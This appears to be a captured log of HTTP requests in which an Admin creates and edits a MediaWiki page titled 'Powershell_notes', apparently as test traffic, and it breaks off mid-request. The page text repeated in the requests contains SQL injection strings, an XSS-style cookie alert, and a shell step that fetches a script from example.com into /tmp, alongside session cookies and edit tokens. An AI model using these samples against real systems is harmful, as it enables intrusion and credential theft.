{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 1674", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Powershell_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Powershell_notes&section=&sectiontitle=&summary=&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A'''Example'''+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23!%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById(%22x%22).innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert(document.cookie)%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E(.*)%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A!+Command+!!+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&token=43ccd11d95d1eb813bd7b837a5b1bdda6af2267a%2B%5C"}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 325", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Powershell_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Powershell_notes&section=&sectiontitle=&summary=Notes+on+powershell%2C+python3%2C+ls+-la+and+.htaccess&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&stashedtexthash=7b0caca38f13720bae380f2dd35a43a0fa43c9b7&token=43ccd11d95d1eb813bd7b837a5b1bdda6af2267a%2B%5C"}
{"method": "POST", "target": "/index.php?title=Powershell_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3221", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarym3pr54KEguOYT8hc", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Powershell_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200058\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200058\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on powershell, python3, ls -la and .htaccess\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"wpPreview\"\r\n\r\nShow preview\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n43ccd11d95d1eb813bd7b837a5b1bdda6af2267a+\\\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ntext\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundarym3pr54KEguOYT8hc--\r\n"}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 1728", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Powershell_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Powershell_notes&section=&sectiontitle=&summary=Notes+on+powershell%2C+python3%2C+ls+-la+and+.htaccess&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A'''Example'''+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23!%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById(%22x%22).innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert(document.cookie)%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E(.*)%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A!+Command+!!+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&token=43ccd11d95d1eb813bd7b837a5b1bdda6af2267a%2B%5C"}
{"method": "POST", "target": "/index.php?title=Powershell_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3329", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqXuC7xQ5YbyOLcNk", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Powershell_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200058\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200058\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"wpIgnoreBlankSummary\"\r\n\r\n1\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on powershell, python3, ls -la and .htaccess\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"wpDiff\"\r\n\r\nShow changes\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n43ccd11d95d1eb813bd7b837a5b1bdda6af2267a+\\\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\npreview\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk--\r\n"}
{"method": "POST", "target": "/index.php?title=Powershell_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3323", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydozHAh3HgQYOsBJB", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Powershell_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200058\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200058\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"wpIgnoreBlankSummary\"\r\n\r\n1\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on powershell, python3, ls -la and .htaccess\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"wpSave\"\r\n\r\nSave page\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n43ccd11d95d1eb813bd7b837a5b1bdda6af2267a+\\\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ndiff\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB--\r\n"}
{"method": "GET", "target": "/wiki/Powershell_notes", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Powershell_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; my_wikiPostEditRevision8=created; cpPosIndex=7%401794254458%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Powershell_notes&action=history", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=7%401794254458%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Powershell_notes&action=edit&section=1", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=7%401794254458%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 292", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Powershell_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=7%401794254458%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Powershell_notes&section=1&sectiontitle=&summary=%2F*+Install+*%2F+&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=8&text=%3D%3D+Install+%3D%3D%0ARun+powershell+and+ls+-la.%0A&token=43ccd11d95d1eb813bd7b837a5b1bdda6af2267a%2B%5C"}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 300", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Powershell_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=7%401794254458%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Powershell_notes&section=1&sectiontitle=&summary=%2F*+Install+*%2F+powershell&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=8&stashedtexthash=fb470cff5af43ff707bead07ac360a6cef4a06d9&token=43ccd11d95d1eb813bd7b837a5b1bdda6af2267a%2B%5C"}
{"method": "POST", "target": "/index.php?title=Powershell_notes&action=submit&section=1", "headers": ["Host: example.com", "Content-Length: 2123", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary51DczGwGUeO3iv04", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Powershell_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=7%401794254458%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n1\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200058\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200058\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n8\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n0\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\n48a19bb4c5ae768038e8343fe587d531\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; 